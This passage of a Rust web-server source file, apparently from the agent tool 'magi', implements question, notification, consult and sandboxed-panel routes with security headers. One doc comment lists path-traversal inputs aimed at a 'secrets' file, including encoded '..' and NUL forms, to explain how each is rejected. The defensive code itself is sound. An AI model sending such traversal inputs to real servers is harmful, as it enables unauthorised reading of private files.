8135            id: inquiry.id,
8136            task: inquiry.task,
8137            run: inquiry.run,
8138            chat: inquiry.delivered_to,
8139            display: inquiry.display,
8140            delivery_error: inquiry.delivery_error,
8141            decision: inquiry.decision?,
8142        })
8143    }
8144}
8145
8146#[derive(serde::Serialize)]
8147struct DecisionsView {
8148    items: Vec<DecisionView>,
8149    unreadable: usize,
8150    migration_errors: Vec<crate::task_chat::MigrationIssue>,
8151}
8152
8153// Read-only: list visits and inquiry links never create owner decisions,
8154// delivery receipts or effect acknowledgements.
8155async fn decisions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<DecisionsView>> {
8156    blocking(move || {
8157        let (items, unreadable) = crate::task_inquiry::Outbox::at(&ui.home).list_readable()?;
8158        let mut views: Vec<_> = items
8159            .into_iter()
8160            .filter_map(DecisionView::from_inquiry)
8161            .collect();
8162        views.sort_by_key(|view| {
8163            (
8164                view.decision.status == crate::task_decision::Status::Resolved,
8165                view.id.clone(),
8166            )
8167        });
8168        Ok(Json(DecisionsView {
8169            items: views,
8170            unreadable,
8171            migration_errors: crate::task_chat::migration_issues(&ui.home),
8172        }))
8173    })
8174    .await
8175}
8176
8177async fn decision_get(
8178    State(ui): State<Arc<Ui>>,
8179    Path(id): Path<String>,
8180) -> ApiResult<Json<DecisionView>> {
8181    blocking(move || {
8182        let inquiry = crate::task_inquiry::Outbox::at(&ui.home).get(&id)?;
8183        DecisionView::from_inquiry(inquiry)
8184            .map(Json)
8185            .ok_or_else(|| ApiError::not_found("inquiry is informational"))
8186    })
8187    .await
8188}
8189
8190async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8191    blocking(move || {
8192        let questions = ui.questions.list();
8193        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8194        Ok(Json(
8195            question_views(questions, &ui.questions, || deputy_config(&ui.repo))
8196                .into_iter()
8197                .map(|view| view.with_origin(&tasks, &talks, &watches))
8198                .collect(),
8199        ))
8200    })
8201    .await
8202}
8203
8204/// Question content and answer controls never wait for task/chat provenance.
8205async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8206    blocking(move || {
8207        Ok(Json(question_views(
8208            ui.questions.list(),
8209            &ui.questions,
8210            || deputy_config(&ui.repo),
8211        )))
8212    })
8213    .await
8214}
8215
8216fn question_record_revision(question: &Question) -> String {
8217    use std::hash::{Hash as _, Hasher as _};
8218    let mut hash = std::hash::DefaultHasher::new();
8219    serde_json::to_vec(question)
8220        .expect("serializable question")
8221        .hash(&mut hash);
8222    format!("{:016x}", hash.finish())
8223}
8224
8225#[derive(Serialize)]
8226struct QuestionOriginView {
8227    id: String,
8228    record_revision: String,
8229    origin_chat: Option<String>,
8230    origin_chat_closed: bool,
8231    can_consult_chat: bool,
8232}
8233
8234async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
8235    blocking(move || {
8236        let questions = ui.questions.list();
8237        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8238        Ok(Json(
8239            questions
8240                .into_iter()
8241                .map(|question| {
8242                    let consult = crate::consult::origin_talk(&tasks, &talks, &question);
8243                    let can_consult_chat = consult.is_some();
8244                    let talk = crate::consult::associated_talk_with_watches(
8245                        &tasks, &talks, &question, &watches,
8246                    );
8247                    QuestionOriginView {
8248                        record_revision: question_record_revision(&question),
8249                        id: question.id,
8250                        origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
8251                        origin_chat: talk.map(|talk| talk.id),
8252                        can_consult_chat,
8253                    }
8254                })
8255                .collect(),
8256        ))
8257    })
8258    .await
8259}
8260
8261type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
8262
8263/// Only the task ancestry and chats these questions actually reference. Run
8264/// mappings share the reconciled queue index; exact task references bypass it.
8265/// No question means no task/chat I/O, including no index reconciliation.
8266fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
8267    fn task_for_run(
8268        ui: &Ui,
8269        index: &mut Option<Vec<Arc<TaskRelation>>>,
8270        run: &str,
8271        loaded: &HashMap<String, Task>,
8272    ) -> ApiResult<Option<Task>> {
8273        if !plain_record_id(run) {
8274            return Ok(None);
8275        }
8276        if index.is_none() {
8277            *index = Some(ui.indexed_tasks()?);
8278        }
8279        Ok(index
8280            .as_ref()
8281            .expect("loaded index")
8282            .iter()
8283            .find(|task| task.runs.iter().any(|id| id == run))
8284            .and_then(|task| {
8285                loaded
8286                    .get(&task.id)
8287                    .cloned()
8288                    .or_else(|| ui.queue.get(&task.id).ok())
8289            })
8290            .filter(|task| task.runs.iter().any(|id| id == run)))
8291    }
8292    let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
8293        plain_record_id(id)
8294            .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
8295            .flatten()
8296            .filter(|task| task.id == id)
8297    };
8298    let watches = crate::release_watch::states_for_questions(&ui.home, questions);
8299    let mut index = None;
8300    let mut tasks = HashMap::new();
8301    let mut talks = HashMap::new();
8302    for question in questions {
8303        for reference in crate::consult::question_task_refs(question, &watches) {
8304            let mut current = match reference {
8305                crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
8306                crate::consult::QuestionTaskRef::Run(id) => {
8307                    task_for_run(ui, &mut index, id, &tasks)?
8308                }
8309            };
8310            let mut seen = HashSet::new();
8311            for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
8312                let Some(task) = current.take() else {
8313                    break;
8314                };
8315                if !seen.insert(task.id.clone()) {
8316                    break;
8317                }
8318                let chat = task.chat_talk().map(str::to_owned);
8319                let followup = task.followup.clone();
8320                tasks.insert(task.id.clone(), task);
8321                if let Some(chat) = chat {
8322                    if plain_record_id(&chat)
8323                        && !talks.contains_key(&chat)
8324                        && let Ok(talk) = ui.talks.get(&chat)
8325                    {
8326                        talks.insert(chat, talk);
8327                    }
8328                    break;
8329                }
8330                let Some(followup) = followup else {
8331                    break;
8332                };
8333                current = match followup.origin_task {
8334                    Some(id) => direct_task(&id, &tasks),
8335                    None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
8336                };
8337            }
8338        }
8339    }
8340    let mut tasks: Vec<Task> = tasks.into_values().collect();
8341    tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
8342    Ok((tasks, talks.into_values().collect(), watches))
8343}
8344
8345/// `GET /api/notifications`: not dismissed, newest first, with the unread
8346/// count so the badge and the list cannot disagree.
8347async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8348    blocking(move || {
8349        let items = ui.notices.list();
8350        let unread = items.iter().filter(|n| n.unread()).count();
8351        let items: Vec<_> = items
8352            .into_iter()
8353            .map(|n| {
8354                let question = crate::notices::answerable_question(&n, &ui.questions);
8355                let mut item = serde_json::to_value(n)?;
8356                item["answerable_question"] = serde_json::json!(question);
8357                Ok(item)
8358            })
8359            .collect::<anyhow::Result<_>>()?;
8360        Ok(Json(
8361            serde_json::json!({ "unread": unread, "items": items }),
8362        ))
8363    })
8364    .await
8365}
8366
8367fn notice_error(e: anyhow::Error) -> ApiError {
8368    // An unknown or malformed id and a vanished file are the same answer to
8369    // the phone: that notification is gone.
8370    ApiError::not_found(format!("{e:#}"))
8371}
8372
8373/// `POST /api/notifications/{id}/read`.
8374async fn notification_read(
8375    State(ui): State<Arc<Ui>>,
8376    Path(id): Path<String>,
8377) -> ApiResult<Json<Notice>> {
8378    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
8379}
8380
8381/// `POST /api/notifications/{id}/dismiss`.
8382async fn notification_dismiss(
8383    State(ui): State<Arc<Ui>>,
8384    Path(id): Path<String>,
8385) -> ApiResult<Json<Notice>> {
8386    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
8387}
8388
8389/// `POST /api/notifications/read-all`.
8390async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8391    blocking(move || {
8392        let changed = ui.notices.mark_all_read()?;
8393        Ok(Json(serde_json::json!({ "marked": changed })))
8394    })
8395    .await
8396}
8397
8398/// The body of `POST /api/questions/{id}/answer`.
8399///
8400/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
8401/// a bad request rather than a guess: an answer magi invented is worse than a
8402/// question left open.
8403#[derive(Debug, Default, Deserialize)]
8404#[serde(default, deny_unknown_fields)]
8405struct NewAnswer {
8406    choice: Option<String>,
8407    text: Option<String>,
8408    talk: Option<String>,
8409    head: Option<String>,
8410}
8411
8412async fn question_answer(
8413    State(ui): State<Arc<Ui>>,
8414    Path(id): Path<String>,
8415    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
8416) -> ApiResult<Json<QuestionView>> {
8417    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8418    let answer = match (body.choice, body.text) {
8419        (Some(c), None) => Answer::Choice(c),
8420        (None, Some(t)) => Answer::Text(t),
8421        (Some(_), Some(_)) => {
8422            return Err(ApiError::bad_request(
8423                "send either `choice` or `text`, not both",
8424            ));
8425        }
8426        (None, None) => {
8427            return Err(ApiError::bad_request("send a `choice` or a `text`"));
8428        }
8429    };
8430
8431    blocking(move || {
8432        let id = resolve_question(&ui.questions, &id)?;
8433        let q = ui
8434            .questions
8435            .get(&id)
8436            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8437        if !q.can_answer() {
8438            // Answered from the terminal, or by another phone, in between the
8439            // list and the tap. The UI shows the recorded answer rather than an
8440            // error, so it needs the record, not just the status.
8441            return Err(ApiError::conflict(format!(
8442                "question {} is already {}",
8443                q.short(),
8444                q.status.as_str()
8445            )));
8446        }
8447        // `Question::answer` owns the rules - an unoffered choice, free text on
8448        // a multiple-choice question, an empty reply - so the route does not
8449        // restate them and cannot drift from the CLI's behaviour.
8450        let cfg = deputy_config(&ui.repo);
8451        let (q, ()) = ui
8452            .questions
8453            .update(&q.id, |r| {
8454                let merge = matches!(&answer, ask::Answer::Choice(c) if c == crate::land::APPROVE);
8455                // Buttons retain their displayed chat/head binding. A direct
8456                // decision does not require a button or a prior persona offer.
8457                if r.routed_task.is_some()
8458                    && r.merge_target.is_some()
8459                    && merge
8460                    && (body.talk.is_some() || body.head.is_some())
8461                {
8462                    let talk_id = body
8463                        .talk
8464                        .as_deref()
8465                        .context("approval button requires its chat")?;
8466                    let head = body
8467                        .head
8468                        .as_deref()
8469                        .context("approval button requires the displayed head")?;
8470                    let talk = ui.talks.get(talk_id)?;
8471                    anyhow::ensure!(talk.status.open(), "approval chat is closed");
8472                    r.answer_chat_button(answer, talk_id, head)
8473                } else {
8474                    r.answer(answer)
8475                }
8476            })
8477            .map_err(ApiError::bad_request_from)?;
8478        let (tasks, talks, watches) =
8479            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8480        Ok(Json(
8481            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8482        ))
8483    })
8484    .await
8485}
8486
8487/// A dedicated status avoids the client's settled-question 409 handling.
8488fn question_text_error(e: anyhow::Error) -> ApiError {
8489    let reason = e
8490        .downcast_ref::<crate::question_delivery::TextUnavailable>()
8491        .map(|e| e.reason);
8492    let error = ApiError::bad_request_from(e);
8493    if let Some(reason) = reason {
8494        ApiError {
8495            text_reason: Some(reason),
8496            ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
8497        }
8498    } else {
8499        error
8500    }
8501}
8502
8503/// The body of `POST /api/questions/{id}/say`.
8504#[derive(Debug, Deserialize)]
8505#[serde(deny_unknown_fields)]
8506struct NewSay {
8507    body: String,
8508}
8509
8510/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
8511///
8512/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
8513/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
8514/// file, so there is no turn to serialize against and no
8515/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
8516/// is a *different* process - the run parked behind `magi ask` - and picks
8517/// the reply up on its own poll of the very same file, same as an answer
8518/// does.
8519async fn question_say(
8520    State(ui): State<Arc<Ui>>,
8521    Path(id): Path<String>,
8522    body: std::result::Result<Json<NewSay>, JsonRejection>,
8523) -> ApiResult<Json<QuestionView>> {
8524    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8525    blocking(move || {
8526        let id = resolve_question(&ui.questions, &id)?;
8527        let q = ui
8528            .questions
8529            .get(&id)
8530            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8531        if !q.status.open() {
8532            // Same granularity as `question_answer`: answered or abandoned in
8533            // between the list and the tap is not this route's error to
8534            // explain any differently.
8535            return Err(ApiError::conflict(format!(
8536                "question {} is already {}",
8537                q.short(),
8538                q.status.as_str()
8539            )));
8540        }
8541        // `Question::say` owns the one rule that matters here - an empty
8542        // message tells the agent nothing - so the route does not restate it.
8543        let cfg = deputy_config(&ui.repo);
8544        let (q, ()) = ui
8545            .questions
8546            .update(&q.id, |r| {
8547                if body.body.trim().is_empty() {
8548                    return r.say(body.body);
8549                }
8550                crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
8551                r.say(body.body)
8552            })
8553            .map_err(question_text_error)?;
8554        let (tasks, talks, watches) =
8555            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8556        Ok(Json(
8557            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8558        ))
8559    })
8560    .await
8561}
8562
8563/// A disconnected request or a replacing listener cannot interrupt the short
8564/// transaction between persistence and detached worker publication.
8565async fn admitted<T: Send + 'static>(
8566    admission: AdmissionGuard,
8567    work: impl Future<Output = ApiResult<T>> + Send + 'static,
8568) -> ApiResult<T> {
8569    tokio::spawn(async move {
8570        let result = work.await;
8571        drop(admission);
8572        result
8573    })
8574    .await
8575    .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
8576}
8577
8578/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
8579/// came from. The question stays open: the chat agent answers it with `magi
8580/// answer`, or puts the decision to the owner in the conversation.
8581///
8582/// Answers 202 and runs the turn in the background, like every route that
8583/// spends agent calls. The text is queued as a draft of the existing talk, and
8584/// the turn goes through the talk's own gate and session; no seat or waiter is
8585/// started here.
8586async fn question_consult(
8587    State(ui): State<Arc<Ui>>,
8588    Path(id): Path<String>,
8589) -> ApiResult<(StatusCode, Json<QuestionView>)> {
8590    let admission = ui.begin_admission()?;
8591    admitted(admission, async move {
8592        let (q, tasks, talks, watches, talk, cfg) = blocking({
8593            let ui = Arc::clone(&ui);
8594            move || {
8595                let id = resolve_question(&ui.questions, &id)?;
8596                let q = ui.questions.get(&id).map_err(|e| {
8597                    ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
8598                })?;
8599                if !q.status.open() {
8600                    return Err(ApiError::conflict(format!(
8601                        "question {} is already {}",
8602                        q.short(),
8603                        q.status.as_str()
8604                    )));
8605                }
8606                let (tasks, talks, watches) =
8607                    question_origin_inputs(&ui, std::slice::from_ref(&q))?;
8608                let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
8609                    return Err(ApiError::conflict(format!(
8610                        "question {} has no chat to ask",
8611                        q.short()
8612                    )));
8613                };
8614                // Read the config before `begin` saves anything: a failure here
8615                // must leave no consult record or draft behind, or a retry would
8616                // see `fresh == false` and never start the turn.
8617                let cfg = if q.consult.is_none() {
8618                    Some(Config::discover(&talk.repo, None)?.0)
8619                } else {
8620                    None
8621                };
8622                Ok((q, tasks, talks, watches, talk, cfg))
8623            }
8624        })
8625        .await?;
8626        let _publication = crate::chat_worker::publication_guard(&ui.talks, &talk.id)
8627            .await
8628            .map_err(ApiError::from)?;
8629        let (view, reclaimed, submitted) = blocking({
8630            let ui = Arc::clone(&ui);
8631            move || {
8632                let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
8633                let claim = if fresh {
8634                    match ui.begin_queued_talk_turn(&talk.id)? {
8635                        Some(turn_guard) => {
8636                            let talk = ui.talks.get(&talk.id)?;
8637                            let cfg = match cfg {
8638                                Some(cfg) => cfg,
8639                                None => Config::discover(&talk.repo, None)?.0,
8640                            };
8641                            Some((talk, cfg, turn_guard))
8642                        }
8643                        None => None,
8644                    }
8645                } else {
8646                    None
8647                };
8648                let q = ui.questions.get(&q.id)?;
8649                let cfg = deputy_config(&ui.repo);
8650                let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
8651                    .with_origin(&tasks, &talks, &watches);
8652                Ok((view, claim, fresh.then_some(talk.id)))
8653            }
8654        })
8655        .await?;
8656        #[cfg(not(test))]
8657        {
8658            if let Some(id) = submitted {
8659                crate::chat_worker::spawn_turn(&ui.talks, &id)
8660                    .await
8661                    .map_err(ApiError::from)?;
8662            }
8663            drop(reclaimed);
8664        }
8665        #[cfg(test)]
8666        let _ = submitted;
8667        #[cfg(test)]
8668        if let Some((talk, cfg, turn_guard)) = reclaimed {
8669            let talks = ui.talks.clone();
8670            let id = talk.id.clone();
8671            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8672        }
8673        Ok((StatusCode::ACCEPTED, Json(view)))
8674    })
8675    .await
8676}
8677
8678/// Expand an id or short id to exactly one question id.
8679fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
8680    if plain_record_id(id) && store.path_of(id).is_file() {
8681        return Ok(id.to_owned());
8682    }
8683    pick(
8684        store.list().into_iter().map(|q| q.id).collect(),
8685        id,
8686        "question",
8687    )
8688}
8689
8690/// `GET /api/questions/{id}/panel`.
8691///
8692/// The panel an agent wrote for this question, as `text/html` under
8693/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
8694/// A question without one is a 404 rather than an empty page: the client
8695/// preflights this route with `HEAD` and must be able to tell "no panel" from
8696/// "a panel that rendered blank", and a sandboxed frame is opaque to the
8697/// parent document so it cannot tell the difference by looking.
8698///
8699/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
8700/// sanitises or minifies it - a sanitiser is a list of things someone thought
8701/// of, and the sandbox plus the CSP is a list of things that are allowed, which
8702/// is the direction that stays safe when an agent writes markup nobody
8703/// predicted.
8704async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
8705    blocking(move || {
8706        let id = resolve_question(&ui.questions, &id)?;
8707        let Some(html) = ui.questions.panel_html(&id) else {
8708            return Err(ApiError::not_found(format!("question {id} has no panel")));
8709        };
8710        Ok(panel_response(
8711            "text/html; charset=utf-8",
8712            false,
8713            html.into_bytes(),
8714        ))
8715    })
8716    .await
8717}
8718
8719/// `GET /api/questions/{id}/asset/{name}`.
8720///
8721/// One file from the question's own panel directory, so a panel can show a
8722/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
8723/// having to allow anything off this machine.
8724///
8725/// This is the only route in the server where a client names a file, so it is
8726/// the only one with a traversal surface, and the name is checked by
8727/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
8728/// what is worth being explicit about, because the answer is not "all of it in
8729/// one place":
8730///
8731/// * `asset/../../secrets` never reaches this handler at all. axum matches on
8732///   the raw request path and `{name}` spans exactly one segment, so a real
8733///   slash makes the request too long for the route and the router answers 404.
8734/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
8735///   percent-decodes path parameters, so `name` arrives as `../secrets` and
8736///   `..\secrets` respectively, which look like plain filenames to the router.
8737///   The validator refuses them here - both for the literal `..` and because
8738///   `/` and `\` are not in the permitted character set - and answers 400.
8739/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
8740///   the platform's path API is not, and it is refused here for the same
8741///   reason: NUL is not a permitted character.
8742/// * [`Questions::panel_asset`] validates again on read, so the check is not
8743///   load-bearing in only one place. This route's own check exists so the
8744///   failure is a 400 that says which name was wrong, rather than a store error
8745///   the operator has to interpret.
8746async fn question_asset(
8747    State(ui): State<Arc<Ui>>,
8748    Path((id, name)): Path<(String, String)>,
8749) -> ApiResult<Response> {
8750    // Before any filesystem work and before any path is built: a name this
8751    // server will not serve should not become a `PathBuf` at all.
8752    if !crate::ask::valid_asset_name(&name) {
8753        return Err(ApiError::bad_request(format!(
8754            "`{name}` is not a usable asset name"
8755        )));
8756    }
8757    blocking(move || {
8758        let id = resolve_question(&ui.questions, &id)?;
8759        let asset = ui
8760            .questions
8761            .panel_asset(&id, &name)
8762            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
8763        let Some(bytes) = asset else {
8764            return Err(ApiError::not_found(format!(
8765                "question {id} has no asset `{name}`"
8766            )));
8767        };
8768        Ok(panel_response(
8769            asset_content_type(&name),
8770            is_svg(&name),
8771            bytes,
8772        ))
8773    })
8774    .await
8775}
8776
8777/// Content type for a panel asset, from a closed whitelist.
8778///
8779/// A whitelist with an `application/octet-stream` fallback rather than a
8780/// guess, because the one answer that must never come out of here is
8781/// `text/html`. An agent that writes `notes.html` into its panel directory and
8782/// links it would otherwise get its own markup rendered at the top level of the
8783/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
8784/// magi's origin - which is precisely the thing the panel design exists to
8785/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
8786///
8787/// `nosniff` accompanies this on every response, so a browser cannot decide it
8788/// knows better than the type we sent.
8789fn asset_content_type(name: &str) -> &'static str {
8790    match extension(name).as_deref() {
8791        Some("png") => "image/png",
8792        Some("jpg" | "jpeg") => "image/jpeg",
8793        Some("gif") => "image/gif",
8794        Some("webp") => "image/webp",
8795        Some("svg") => "image/svg+xml",
8796        Some("css") => "text/css; charset=utf-8",
8797        Some("txt") => "text/plain; charset=utf-8",
8798        _ => "application/octet-stream",
8799    }
8800}
8801
8802/// Is this an SVG, and therefore a file that must never be opened at the top
8803/// level?
8804fn is_svg(name: &str) -> bool {
8805    extension(name).as_deref() == Some("svg")
8806}
8807
8808/// Lowercased extension, or `None` for a name without one.
8809fn extension(name: &str) -> Option<String> {
8810    name.rsplit_once('.')
8811        .map(|(_, ext)| ext.to_ascii_lowercase())
8812}
8813
8814/// Every panel response, with the four headers that make it safe and, for an
8815/// SVG, a fifth.
8816///
8817/// One function rather than a header list per handler, because a panel route
8818/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
8819/// model gone, silently, on one of two routes. Adding a third panel route later
8820/// means calling this, and there is nowhere else to build a panel response.
8821///
8822/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
8823/// as an `<img src>` inside the panel that script cannot run - but the asset
8824/// URL is also a plain URL an operator can be talked into opening in a tab,
8825/// where it is a document on magi's own origin. `Content-Disposition:
8826/// attachment` makes the browser download it instead of rendering it, which
8827/// closes that door without taking away the ability to draw a diff. Raster
8828/// images have no such execution surface and are left inline, so tapping a
8829/// screenshot still shows it.
8830fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
8831    let mut res = (
8832        [
8833            (header::CONTENT_TYPE, content_type),
8834            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
8835            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8836            (header::REFERRER_POLICY, "no-referrer"),
8837        ],
8838        body,
8839    )
8840        .into_response();
8841    if download {
8842        res.headers_mut().insert(
8843            header::CONTENT_DISPOSITION,
8844            HeaderValue::from_static("attachment"),
8845        );
8846    }
8847    res
8848}
8849
8850/// A talk as the phone reads it.
8851///
8852/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
8853/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
8854/// parses markdown itself - and the process-local `thinking` hint.
8855#[derive(Debug, Serialize)]
8856struct ChatApproval {
8857    question: String,
8858    target: crate::merge_decision::Target,
8859}
8860
8861#[derive(Debug, Serialize)]
8862struct TalkView {
8863    #[serde(flatten)]
8864    talk: Talk,
8865    turn_bodies_md: Vec<Vec<md::Node>>,
8866    /// Display-only Markdown, indexed by turn then message (legacy turns have one).
8867    turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
8868    pending_messages_md: Vec<Option<Vec<md::Node>>>,
8869    merge_approvals: Vec<ChatApproval>,
8870    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
8871    /// this server process.
8872    ///
8873    /// This is deliberately not durable: another server process cannot see
8874    /// it, and a restarted server must not claim an old turn is live. It is a
8875    /// progress hint rather than proof a reply landed; the transcript remains
8876    /// the source of truth for that.
8877    thinking: bool,
8878    /// Context-window usage, derived per request - see
8879    /// [`talk::context_usage`]. Carried on every talk response (list, detail
8880    /// and each mutation) so the phone needs no extra call or polling.
8881    context: talk::ContextUsage,
8882    /// `[talk] operator_name`, when configured; the Chat labels the
8883    /// operator's turns with it.
8884    operator_name: Option<String>,
8885    /// The active persona's display name; `None` for the default voice.
8886    persona_name: Option<String>,
8887    /// URL of the avatar for the conversation's persona (the default voice
8888    /// included). Server-built; a configured `icon` never reaches the client.
8889    persona_avatar: String,
8890    /// Operator avatar; display only and independent of repository config.
8891    operator_avatar: String,
8892    magi_avatar: String,
8893}
8894
8895impl TalkView {
8896    /// Reads the talk's repository config itself; a config that cannot be
8897    /// read leaves the window unknown but never fails the conversation.
8898    fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
8899        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8900        Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
8901    }
8902
8903    /// As [`Self::new`], with the config already in hand (the list reads one
8904    /// per repository, not one per conversation).
8905    fn with_config(
8906        talk: Talk,
8907        thinking: bool,
8908        cfg: Option<&Config>,
8909        home: &FsPath,
8910        cache: &id_links::IndexCache,
8911    ) -> Self {
8912        let references = cache.for_talk(home, &talk);
8913        Self::with_references(talk, thinking, cfg, home, &references)
8914    }
8915
8916    fn with_references(
8917        mut talk: Talk,
8918        thinking: bool,
8919        cfg: Option<&Config>,
8920        home: &FsPath,
8921        references: &id_links::IdIndex,
8922    ) -> Self {
8923        // This owned value is the display DTO; never write it back to the talk store.
8924        let snapshot = talk.clone();
8925        for (index, turn) in talk.turns.iter_mut().enumerate() {
8926            let original = &snapshot.turns[index];
8927            if turn.messages.is_empty() {
8928                if let Some(display) = talk::notice_display(&snapshot, original, None) {
8929                    turn.messages.push(talk::Message {
8930                        sender: Some(talk::Sender::Magi),
8931                        accepted_at: None,
8932                        body: original.body.clone(),
8933                        display: Some(display),
8934                        recovery_event: None,
8935                        attachments: original.attachments.clone(),
8936                        reply: None,
8937                    });
8938                }
8939            } else {
8940                for (i, message) in turn.messages.iter_mut().enumerate() {
8941                    message.display =
8942                        talk::notice_display(&snapshot, original, original.messages.get(i));
8943                    if message.display.is_some() {
8944                        message.sender = Some(talk::Sender::Magi);
8945                    }
8946                }
8947            }
8948        }
8949        for message in &mut talk.pending_messages {
8950            if message.display.is_none()
8951                && (message.sender == Some(talk::Sender::Magi)
8952                    || snapshot
8953                        .completion_notices
8954                        .iter()
8955                        .any(|r| r.notice == message.body))
8956            {
8957                message.display = crate::prompt::legacy_notice_display(&message.body);
8958                if message.display.is_some() {
8959                    message.sender = Some(talk::Sender::Magi);
8960                }
8961            }
8962        }
8963        if talk.pending_messages.is_empty()
8964            && snapshot
8965                .completion_notices
8966                .iter()
8967                .any(|r| r.notice == talk.pending)
8968            && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
8969        {
8970            talk.pending_messages.push(talk::Message {
8971                sender: Some(talk::Sender::Magi),
8972                accepted_at: None,
8973                display: Some(display),
8974                recovery_event: None,
8975                body: talk.pending.clone(),
8976                attachments: talk.pending_attachments.clone(),
8977                reply: None,
8978            });
8979        }
8980        let excerpts: Vec<Vec<Option<String>>> = talk
8981            .turns
8982            .iter()
8983            .map(|turn| {
8984                turn.messages
8985                    .iter()
8986                    .map(|m| {
8987                        m.display
8988                            .as_ref()
8989                            .map(|d| d.facts.chars().take(240).collect())
8990                    })
8991                    .collect()
8992            })
8993            .collect();
8994        for turn in &mut talk.turns {
8995            let provenance = talk::sender(turn, None);
8996            turn.sender = Some(provenance);
8997            for message in &mut turn.messages {
8998                message.sender = Some(message.sender.unwrap_or(provenance));
8999            }
9000        }
9001        // Old reply snapshots have only a role; recover provenance from their target.
9002        let senders: Vec<Vec<talk::Sender>> = talk
9003            .turns
9004            .iter()
9005            .map(|turn| {
9006                if turn.messages.is_empty() {
9007                    vec![talk::sender(turn, None)]
9008                } else {
9009                    turn.messages
9010                        .iter()
9011                        .map(|m| talk::sender(turn, Some(m)))
9012                        .collect()
9013                }
9014            })
9015            .collect();
9016        for reply in talk
9017            .turns
9018            .iter_mut()
9019            .flat_map(|t| t.messages.iter_mut())
9020            .chain(talk.pending_messages.iter_mut())
9021            .filter_map(|m| m.reply.as_mut())
9022        {
9023            if let Some(Some(excerpt)) = excerpts
9024                .get(reply.target.turn)
9025                .and_then(|ms| ms.get(reply.target.message))
9026            {
9027                reply.excerpt = excerpt.clone();
9028                reply.sender = Some(talk::Sender::Magi);
9029            }
9030            if reply.sender.is_none() {
9031                reply.sender = senders
9032                    .get(reply.target.turn)
9033                    .and_then(|messages| messages.get(reply.target.message))
9034                    .copied();
9035            }
9036        }
9037        let context = talk::context_usage(&talk, cfg);
9038        let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
9039            .turns
9040            .iter()
9041            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
9042            .collect();
